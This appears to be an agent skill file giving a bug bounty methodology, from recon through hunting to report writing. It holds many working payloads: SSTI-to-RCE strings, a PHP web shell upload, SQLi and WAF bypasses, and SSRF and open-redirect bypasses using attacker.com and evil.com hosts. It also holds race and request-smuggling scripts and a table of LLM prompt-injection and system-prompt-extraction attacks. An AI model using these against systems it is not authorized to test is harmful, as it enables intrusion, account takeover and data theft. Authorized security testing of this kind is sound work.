---

name: bug-bounty description: Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告

Bug Bounty Master Workflow

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.

THE ONLY QUESTION THAT MATTERS

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"

If the answer is NO -- STOP. Do not write. Do not explore further. Move on.

Theoretical Bug = Wasted Time. Kill These Immediately:

| Pattern | Kill Reason | |---|---| | "Could theoretically allow..." | Not exploitable = not a bug | | "An attacker with X, Y, Z conditions could..." | Too many preconditions | | "Wrong implementation but no practical impact" | Wrong but harmless = not a bug | | Dead code with a bug in it | Not reachable = not a bug | | Source maps without secrets | No impact | | SSRF with DNS-only callback | Need data exfil or internal access | | Open redirect alone | Need ATO or OAuth chain | | "Could be used in a chain if..." | Build the chain first, THEN report |

You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

---

CRITICAL RULES

1. READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
2. NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
3. KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
4. Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
5. One bug class at a time -- go deep, don't spray
6. Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
7. 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
8. IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
9. CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
10. STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
11. BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
12. UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
13. DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
14. HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
15. ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
16. TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
17. T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else

For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see skills/bb-methodology/SKILL.md.

---

A->B BUG SIGNAL METHOD (Cluster Hunting)

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.

Known A->B->C Chains

| Bug A (Signal) | Hunt for Bug B | Escalate to C | |----------------|---------------|---------------| | IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation | | SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE | | XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO | | Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO | | S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain | | Rate limit bypass | OTP brute force | Account takeover | | GraphQL introspection | Missing field-level auth | Mass PII exfil | | Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access | | CORS reflects origin | Test with credentials: include | Credentialed data theft | | Host header injection | Password reset poisoning | ATO via reset link |

Cluster Hunt Protocol (6 Steps)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

Real Examples

Coinbase S3->Bundle->Secret->OAuth chain:

A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain

Vienna Chatbot chain:

A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

---

TOP 1% HACKER MINDSET

How Elite Hackers Think Differently

Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"

Pre-Hunt Mental Framework

Step 1: Crown Jewel Thinking

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"

• Financial app -> drain funds, transfer to attacker account
• Healthcare -> PII leak, HIPAA violation
• SaaS -> tenant data crossing, admin takeover
• Auth provider -> full SSO chain compromise

Step 2: Developer Empathy

Think like the developer who built the feature:

• What was the simplest implementation?
• What shortcut would a tired dev take at 2am?
• Where is auth checked -- controller? middleware? DB layer?
• What happens when you call endpoint B without going through endpoint A first?

Step 3: Trust Boundary Mapping

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Step 4: Feature Interaction Thinking

• Does this new feature reuse old auth, or does it have its own?
• Does the mobile API share auth logic with the web app?
• Was this feature built by the same team or a third-party?

The Top 1% Mental Checklist

• [ ] I know the app's core business model
• [ ] I've used the app as a real user for 15+ minutes
• [ ] I know the tech stack (language, framework, auth system, caching)
• [ ] I've read at least 3 disclosed reports for this program
• [ ] I have 2 test accounts ready (attacker + victim)
• [ ] I've defined my primary target: ONE crown jewel I'm hunting for today

Mindset Rules from Top Hunters

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.

"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.

"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.

"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.

"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.

"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.

"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

---

TOOLS

Go Binaries

| Tool | Use | |------|-----| | subfinder | Passive subdomain enum | | httpx | Probe live hosts | | dnsx | DNS resolution | | nuclei | Template scanner | | katana | Crawl | | waybackurls | Archive URLs | | gau | Known URLs | | dalfox | XSS scanner | | ffuf | Fuzzer | | anew | Dedup append | | qsreplace | Replace param values | | assetfinder | Subdomain enum | | gf | Grep patterns (xss, sqli, ssrf, redirect) | | interactsh-client | OOB callbacks |

Tools to Install When Needed

| Tool | Use | Install | |------|-----|---------| | arjun | Hidden parameter discovery | pip3 install arjun | | paramspider | URL parameter mining | pip3 install paramspider | | kiterunner | API endpoint brute | go install github.com/assetnote/kiterunner/cmd/kr@latest | | cloudenum | Cloud asset enumeration | pip3 install cloud_enum | | trufflehog | Secret scanning | brew install trufflehog | | gitleaks | Secret scanning | brew install gitleaks | | XSStrike | Advanced XSS scanner | pip3 install xsstrike | | SecretFinder | JS secret extraction | pip3 install secretfinder | | sqlmap | SQL injection | pip3 install sqlmap | | subzy | Subdomain takeover | go install github.com/LukaSikic/subzy@latest |

Static Analysis (Semgrep Quick Audit)

# Install: pip3 install semgrep

# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./

# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./

# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./

# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'

FFUF Advanced Techniques

# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac

# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac

# Filter strategies:
# -fc 404,403          Filter status codes
# -fs 1234             Filter by response size
# -fw 50               Filter by word count
# -fr "not found"      Filter regex in response body
# -rate 5 -t 10        Rate limit + fewer threads for stealth
# -e .php,.bak,.old    Add extensions
# -o results.json      Save output

AI-Assisted Tools

• strix (usestrix.com) -- open-source AI scanner for automated initial sweep

---

PHASE 1: RECON

Standard Recon Pipeline

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3

Cloud Asset Enumeration

# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
  [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done

API Endpoint Discovery

# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac

HackerOne Scope Retrieval

curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

Quick Wins Checklist

• [ ] Subdomain takeover (subjack, subzy)
• [ ] Exposed .git (/.git/config)
• [ ] Exposed env files (/.env, /.env.local)
• [ ] Default credentials on admin panels
• [ ] JS secrets (SecretFinder, jsluice)
• [ ] Open redirects (?redirect=, ?next=, ?url=)
• [ ] CORS misconfig (test Origin: https://evil.com + credentials)
• [ ] S3/cloud buckets
• [ ] GraphQL introspection enabled
• [ ] Spring actuators (/actuator/env, /actuator/heapdump)
• [ ] Firebase open read (https://TARGET.firebaseio.com/.json)

Technology Fingerprinting

| Signal | Technology | |---|---| | Cookie: XSRF-TOKEN + *_session | Laravel | | Cookie: PHPSESSID | PHP | | Header: X-Powered-By: Express | Node.js/Express | | Response: wp-json/wp-content | WordPress | | Response: {"errors":[{"message": | GraphQL | | Header: X-Powered-By: Next.js | Next.js |

Framework Quick Wins

Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1 Node.js: /.env, /graphql (introspection), /_debug AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins

Source Code Recon

# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20

# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."

# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"

Language-Specific Grep Patterns

# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules

# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"

# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"

# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"

# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"

---

PHASE 2: LEARN (Pre-Hunt Intelligence)

Read Disclosed Reports

# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

"What Changed" Method

1. Find disclosed report for similar tech
2. Get the fix commit
3. Read the diff -- identify the anti-pattern
4. Grep your target for that same anti-pattern

Threat Model Template

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

6 Key Patterns from Top Reports

1. Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
2. Developer Inconsistency = Strongest Evidence -- timingSafeEqual in one place, === elsewhere
3. "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
4. Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
5. Secondary/Legacy Endpoints = No Auth -- /api/v1/ guarded but /api/ isn't
6. Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

---

PHASE 3: HUNT

Note-Taking System (Never Hunt Without This)

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

Subdomain Type -> Hunt Strategy

• dev/staging/test: Debug endpoints, disabled auth, verbose errors
• admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
• api/api-v2: Enumerate with kiterunner, check older unprotected versions
• auth/sso: OAuth misconfigs, open redirect in redirect_uri
• upload/cdn: CORS, path traversal, stored XSS

CVE-Seeded Audit Approach

1. Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
2. Reproduce old bugs -- verify you can find the pattern in older code
3. Pattern-match forward -- search for the same anti-pattern in current code
4. Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input

Rust/Blockchain Source Code (Hard-Won Lessons)

Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.

"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.

Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

---

VULNERABILITY HUNTING CHECKLISTS

IDOR -- Insecure Direct Object Reference

#1 most paid web2 class -- 30% of all submissions that get paid.

IDOR Variants (10 Ways to Test)

| Variant | What to Test | |---------|-------------| | V1: Direct | Change object ID in URL path /api/users/123 -> /api/users/456 | | V2: Body param | Change ID in POST/PUT JSON body {"user_id": 456} | | V3: GraphQL node | { node(id: "base64(OtherType:123)") { ... } } | | V4: Batch/bulk | /api/users?ids=1,2,3,4,5 -- request multiple IDs at once | | V5: Nested | Change parent ID: /orgs/{org_id}/users/{user_id} | | V6: File path | /files/download?path=../other-user/file.pdf | | V7: Predictable | Sequential integers, timestamps, short UUIDs | | V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint | | V9: Version rollback | v2 blocked? Try /api/v1/ same endpoint | | V10: Header injection | X-User-ID: victim_id, X-Org-ID: victim_org |

IDOR Testing Checklist

• [ ] Create two accounts (A = attacker, B = victim)
• [ ] Log in as A, perform all actions, note all IDs in requests
• [ ] Log in as B, replay A's requests with A's IDs using B's auth
• [ ] Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
• [ ] Check API v1/v2 differences
• [ ] Check GraphQL schema for node() queries
• [ ] Check WebSocket messages for client-supplied IDs
• [ ] Test batch endpoints (can you request multiple IDs?)
• [ ] Try adding unexpected params: ?user_id=other_user

IDOR Chains (higher payout)

• IDOR + Read PII = Medium
• IDOR + Write (modify other's data) = High
• IDOR + Admin endpoint = Critical (privilege escalation)
• IDOR + Account takeover path = Critical
• IDOR + Chatbot (LLM reads other user's data) = High

SSRF -- Server-Side Request Forgery

• [ ] Try cloud metadata: http://169.254.169.254/latest/meta-data/
• [ ] Try internal services: http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)
• [ ] Test all IP bypass techniques (see table below)
• [ ] Test protocol bypass: file://, dict://, gopher://
• [ ] Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers

SSRF IP Bypass Table (11 Techniques)

| Bypass | Payload | Notes | |--------|---------|-------| | Decimal IP | http://2130706433/ | 127.0.0.1 as single decimal | | Hex IP | http://0x7f000001/ | Hex representation | | Octal IP | http://0177.0.0.1/ | Octal 0177 = 127 | | Short IP | http://127.1/ | Abbreviated notation | | IPv6 | http://[::1]/ | Loopback in IPv6 | | IPv6-mapped | http://[::ffff:127.0.0.1]/ | IPv4-mapped IPv6 | | Redirect chain | http://attacker.com/302->http://169.254.169.254 | Check each hop | | DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal | | URL encoding | http://127.0.0.1%2523@attacker.com | Parser confusion | | Enclosed alphanumeric | http://①②⑦.⓪.⓪.① | Unicode numerals | | Protocol smuggling | gopher://127.0.0.1:6379/_INFO | Redis/other protocols |

SSRF Impact Chain

• DNS-only = Informational (don't submit)
• Internal service accessible = Medium
• Cloud metadata readable = High (key exposure)
• Cloud metadata + exfil keys = Critical (code execution on cloud)
• Docker API accessible = Critical (direct RCE)

OAuth / OIDC

• [ ] Missing state parameter -> CSRF
• [ ] redirect_uri accepts wildcards -> ATO
• [ ] Missing PKCE -> code theft
• [ ] Implicit flow -> token leakage in referrer
• [ ] Open redirect in post-auth redirect -> OAuth token theft chain

Open Redirect Bypass Table (11 Techniques)

Use these when chaining open redirect into OAuth code theft:

| Bypass | Payload | Notes | |--------|---------|-------| | Double URL encoding | %252F%252F | Decodes to // after double decode | | Backslash | https://target.com\@evil.com | Some parsers normalize \ to / | | Missing protocol | //evil.com | Protocol-relative | | @-trick | https://target.com@evil.com | target.com becomes username | | Protocol-relative | ///evil.com | Triple slash | | Tab/newline injection | //evil%09.com | Whitespace in hostname | | Fragment trick | https://evil.com#target.com | Fragment misleads validation | | Null byte | https://evil.com%00target.com | Some parsers truncate at null | | Parameter pollution | ?next=target.com&next=evil.com | Last value wins | | Path confusion | /redirect/..%2F..%2Fevil.com | Path traversal in redirect | | Unicode normalization | https://evil.com/target.com | Visual confusion |

File Upload

File Upload Bypass Table

| Bypass | Technique | |--------|-----------| | Double extension | file.php.jpg, file.php%00.jpg | | Case variation | file.pHp, file.PHP5 | | Alternative extensions | .phtml, .phar, .shtml, .inc | | Content-Type spoof | image/jpeg header with PHP content | | Magic bytes | GIF89a; <?php system($_GET['c']); ?> | | .htaccess upload | AddType application/x-httpd-php .jpg | | SVG XSS | <svg onload=alert(1)> | | Race condition | Upload + execute before cleanup runs | | Polyglot JPEG/PHP | Valid JPEG that is also valid PHP | | Zip slip | ../../etc/cron.d/shell in filename inside archive |

Magic Bytes Reference

| Type | Hex | |------|-----| | JPEG | FF D8 FF | | PNG | 89 50 4E 47 0D 0A 1A 0A | | GIF | 47 49 46 38 | | PDF | 25 50 44 46 | | ZIP/DOCX/XLSX | 50 4B 03 04 |

Race Conditions

• [ ] Coupon codes / promo codes
• [ ] Gift card redemption
• [ ] Fund transfer / withdrawal
• [ ] Voting / rating limits
• [ ] OTP verification brute via race

seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

Business Logic

• [ ] Negative quantities in cart
• [ ] Price parameter tampering
• [ ] Workflow skip (e.g., pay without checkout)
• [ ] Role escalation via registration fields
• [ ] Privilege persistence after downgrade

XSS -- Cross-Site Scripting

XSS Sinks (grep for these)

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

• XSS + sensitive page (banking, admin) = High
• XSS + CSRF token theft = CSRF bypass -> Critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• XSS in chatbot response = stored XSS chain

SQL Injection

Detection

# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi

Modern SQLi WAF Bypass

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

GraphQL

Introspection (alone = Informational, but reveals attack surface)

{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }

Batching Attack (Rate Limit Bypass)

[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI Features

• [ ] Prompt injection via user input passed to LLM
• [ ] Indirect injection via document/URL the AI processes
• [ ] IDOR in chat history (enumerate conversation IDs)
• [ ] System prompt extraction via roleplay/encoding
• [ ] RCE via code execution tool abuse
• [ ] ASCII smuggling (invisible unicode in LLM output)

Agentic AI Hunting (OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:

| ID | Vuln Class | What to Test | |----|-----------|-------------| | ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules | | ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) | | ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context | | ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user | | ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content | | ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay | | ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM | | ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered | | ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls | | ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |

Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

Cache Poisoning / Web Cache Deception

• [ ] Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response
• [ ] Parameter cloaking (?param=value;poison=xss)
• [ ] Fat GET (body params on GET requests)
• [ ] Web cache deception (/account/settings.css -- trick cache into storing private response)
• [ ] Param Miner (Burp extension) -- auto-discovers unkeyed headers

HTTP Request Smuggling

• [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
• [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
• [ ] H2.CL: HTTP/2 downgrade smuggling
• [ ] TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix
• [ ] Use Burp "HTTP Request Smuggler" extension -- detects automatically

CL.TE Example

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.

Android / Mobile Hunting

• [ ] Certificate pinning bypass (Frida/objection)
• [ ] Exported activities/receivers (AndroidManifest.xml)
• [ ] Deep link injection
• [ ] Shared preferences / SQLite in cleartext
• [ ] WebView JavaScript bridge
• [ ] Mobile API often uses older/different API version than web

CI/CD Pipeline

• [ ] GitHub Actions: pull_request_target with checkout of PR code
• [ ] Secrets in workflow logs
• [ ] Artifact poisoning (overwrite existing artifacts)
• [ ] Build command injection via branch/tag names
• [ ] OIDC token theft from CI runners

SSTI -- Server-Side Template Injection

Detection Payloads

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

Where to Test

• Name/bio/description fields (profile pages)
• Email templates (invoice name, username in confirmation email)
• Custom error messages
• PDF generators (invoice, report export)
• URL path parameters
• Search queries reflected in results

Jinja2 -> RCE (Python / Flask)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

